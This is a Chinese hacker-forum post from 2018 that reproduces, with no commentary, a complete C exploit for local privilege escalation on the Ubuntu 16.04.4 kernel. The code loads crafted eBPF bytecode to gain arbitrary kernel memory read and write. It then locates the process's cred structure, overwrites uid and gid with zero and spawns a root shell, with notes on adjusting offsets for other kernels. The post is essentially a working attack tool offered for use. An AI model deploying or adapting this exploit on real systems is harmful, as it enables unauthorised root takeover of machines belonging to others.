搜索
查看: 356|回复: 0

Ubuntu 16.04.4 kernel priv esc exp

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-3-16 17:35:31 | 显示全部楼层 |阅读模式
  1. /*
  2. * Ubuntu 16.04.4 kernel priv esc
  3. *
  4. * all credits to @bleidl
  5. * - vnik
  6. */

  7. // Tested on:
  8. // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
  9. // if different kernel adjust CRED offset + check kernel stack size
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13. #include <errno.h>
  14. #include <fcntl.h>
  15. #include <string.h>
  16. #include <linux/bpf.h>
  17. #include <linux/unistd.h>
  18. #include <sys/mman.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <sys/un.h>
  22. #include <sys/stat.h>
  23. #include <stdint.h>

  24. #define PHYS_OFFSET 0xffff880000000000
  25. #define CRED_OFFSET 0x5f8
  26. #define UID_OFFSET 4
  27. #define LOG_BUF_SIZE 65536
  28. #define PROGSIZE 328

  29. int sockets[2];
  30. int mapfd, progfd;

  31. char *__prog =         "\xb4\x09\x00\x00\xff\xff\xff\xff"
  32.                 "\x55\x09\x02\x00\xff\xff\xff\xff"
  33.                 "\xb7\x00\x00\x00\x00\x00\x00\x00"
  34.                 "\x95\x00\x00\x00\x00\x00\x00\x00"
  35.                 "\x18\x19\x00\x00\x03\x00\x00\x00"
  36.                 "\x00\x00\x00\x00\x00\x00\x00\x00"
  37.                 "\xbf\x91\x00\x00\x00\x00\x00\x00"
  38.                 "\xbf\xa2\x00\x00\x00\x00\x00\x00"
  39.                 "\x07\x02\x00\x00\xfc\xff\xff\xff"
  40.                 "\x62\x0a\xfc\xff\x00\x00\x00\x00"
  41.                 "\x85\x00\x00\x00\x01\x00\x00\x00"
  42.                 "\x55\x00\x01\x00\x00\x00\x00\x00"
  43.                 "\x95\x00\x00\x00\x00\x00\x00\x00"
  44.                 "\x79\x06\x00\x00\x00\x00\x00\x00"
  45.                 "\xbf\x91\x00\x00\x00\x00\x00\x00"
  46.                 "\xbf\xa2\x00\x00\x00\x00\x00\x00"
  47.                 "\x07\x02\x00\x00\xfc\xff\xff\xff"
  48.                 "\x62\x0a\xfc\xff\x01\x00\x00\x00"
  49.                 "\x85\x00\x00\x00\x01\x00\x00\x00"
  50.                 "\x55\x00\x01\x00\x00\x00\x00\x00"
  51.                 "\x95\x00\x00\x00\x00\x00\x00\x00"
  52.                 "\x79\x07\x00\x00\x00\x00\x00\x00"
  53.                 "\xbf\x91\x00\x00\x00\x00\x00\x00"
  54.                 "\xbf\xa2\x00\x00\x00\x00\x00\x00"
  55.                 "\x07\x02\x00\x00\xfc\xff\xff\xff"
  56.                 "\x62\x0a\xfc\xff\x02\x00\x00\x00"
  57.                 "\x85\x00\x00\x00\x01\x00\x00\x00"
  58.                 "\x55\x00\x01\x00\x00\x00\x00\x00"
  59.                 "\x95\x00\x00\x00\x00\x00\x00\x00"
  60.                 "\x79\x08\x00\x00\x00\x00\x00\x00"
  61.                 "\xbf\x02\x00\x00\x00\x00\x00\x00"
  62.                 "\xb7\x00\x00\x00\x00\x00\x00\x00"
  63.                 "\x55\x06\x03\x00\x00\x00\x00\x00"
  64.                 "\x79\x73\x00\x00\x00\x00\x00\x00"
  65.                 "\x7b\x32\x00\x00\x00\x00\x00\x00"
  66.                 "\x95\x00\x00\x00\x00\x00\x00\x00"
  67.                 "\x55\x06\x02\x00\x01\x00\x00\x00"
  68.                 "\x7b\xa2\x00\x00\x00\x00\x00\x00"
  69.                 "\x95\x00\x00\x00\x00\x00\x00\x00"
  70.                 "\x7b\x87\x00\x00\x00\x00\x00\x00"
  71.                 "\x95\x00\x00\x00\x00\x00\x00\x00";

  72. char bpf_log_buf[LOG_BUF_SIZE];

  73. static int bpf_prog_load(enum bpf_prog_type prog_type,
  74.                   const struct bpf_insn *insns, int prog_len,
  75.                   const char *license, int kern_version) {
  76.         union bpf_attr attr = {
  77.                 .prog_type = prog_type,
  78.                 .insns = (__u64)insns,
  79.                 .insn_cnt = prog_len / sizeof(struct bpf_insn),
  80.                 .license = (__u64)license,
  81.                 .log_buf = (__u64)bpf_log_buf,
  82.                 .log_size = LOG_BUF_SIZE,
  83.                 .log_level = 1,
  84.         };

  85.         attr.kern_version = kern_version;

  86.         bpf_log_buf[0] = 0;

  87.         return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
  88. }

  89. static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
  90.                    int max_entries) {
  91.         union bpf_attr attr = {
  92.                 .map_type = map_type,
  93.                 .key_size = key_size,
  94.                 .value_size = value_size,
  95.                 .max_entries = max_entries
  96.         };

  97.         return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
  98. }

  99. static int bpf_update_elem(uint64_t key, uint64_t value) {
  100.         union bpf_attr attr = {
  101.                 .map_fd = mapfd,
  102.                 .key = (__u64)&key,
  103.                 .value = (__u64)&value,
  104.                 .flags = 0,
  105.         };

  106.         return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
  107. }

  108. static int bpf_lookup_elem(void *key, void *value) {
  109.         union bpf_attr attr = {
  110.                 .map_fd = mapfd,
  111.                 .key = (__u64)key,
  112.                 .value = (__u64)value,
  113.         };

  114.         return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
  115. }

  116. static void __exit(char *err) {
  117.         fprintf(stderr, "error: %s\n", err);
  118.         exit(-1);
  119. }

  120. static void prep(void) {
  121.         mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
  122.         if (mapfd < 0)
  123.                 __exit(strerror(errno));

  124.         progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
  125.                         (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);

  126.         if (progfd < 0)
  127.                 __exit(strerror(errno));

  128.         if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
  129.                 __exit(strerror(errno));

  130.         if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
  131.                 __exit(strerror(errno));
  132. }

  133. static void writemsg(void) {
  134.         char buffer[64];

  135.         ssize_t n = write(sockets[0], buffer, sizeof(buffer));

  136.         if (n < 0) {
  137.                 perror("write");
  138.                 return;
  139.         }
  140.         if (n != sizeof(buffer))
  141.                 fprintf(stderr, "short write: %lu\n", n);
  142. }

  143. #define __update_elem(a, b, c) \
  144.         bpf_update_elem(0, (a)); \
  145.         bpf_update_elem(1, (b)); \
  146.         bpf_update_elem(2, (c)); \
  147.         writemsg();

  148. static uint64_t get_value(int key) {
  149.         uint64_t value;

  150.         if (bpf_lookup_elem(&key, &value))
  151.                 __exit(strerror(errno));

  152.         return value;
  153. }

  154. static uint64_t __get_fp(void) {
  155.         __update_elem(1, 0, 0);

  156.         return get_value(2);
  157. }

  158. static uint64_t __read(uint64_t addr) {
  159.         __update_elem(0, addr, 0);

  160.         return get_value(2);
  161. }

  162. static void __write(uint64_t addr, uint64_t val) {
  163.         __update_elem(2, addr, val);
  164. }

  165. static uint64_t get_sp(uint64_t addr) {
  166.         return addr & ~(0x4000 - 1);
  167. }

  168. static void pwn(void) {
  169.         uint64_t fp, sp, task_struct, credptr, uidptr;

  170.         fp = __get_fp();
  171.         if (fp < PHYS_OFFSET)
  172.                 __exit("bogus fp");
  173.        
  174.         sp = get_sp(fp);
  175.         if (sp < PHYS_OFFSET)
  176.                 __exit("bogus sp");
  177.        
  178.         task_struct = __read(sp);

  179.         if (task_struct < PHYS_OFFSET)
  180.                 __exit("bogus task ptr");

  181.         printf("task_struct = %lx\n", task_struct);

  182.         credptr = __read(task_struct + CRED_OFFSET); // cred

  183.         if (credptr < PHYS_OFFSET)
  184.                 __exit("bogus cred ptr");

  185.         uidptr = credptr + UID_OFFSET; // uid
  186.         if (uidptr < PHYS_OFFSET)
  187.                 __exit("bogus uid ptr");

  188.         printf("uidptr = %lx\n", uidptr);
  189.         __write(uidptr, 0); // set both uid and gid to 0

  190.         if (getuid() == 0) {
  191.                 printf("spawning root shell\n");
  192.                 system("/bin/bash");
  193.                 exit(0);
  194.         }

  195.         __exit("not vulnerable?");
  196. }

  197. int main(int argc, char **argv) {
  198.         prep();
  199.         pwn();

  200.         return 0;
  201. }
复制代码


过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表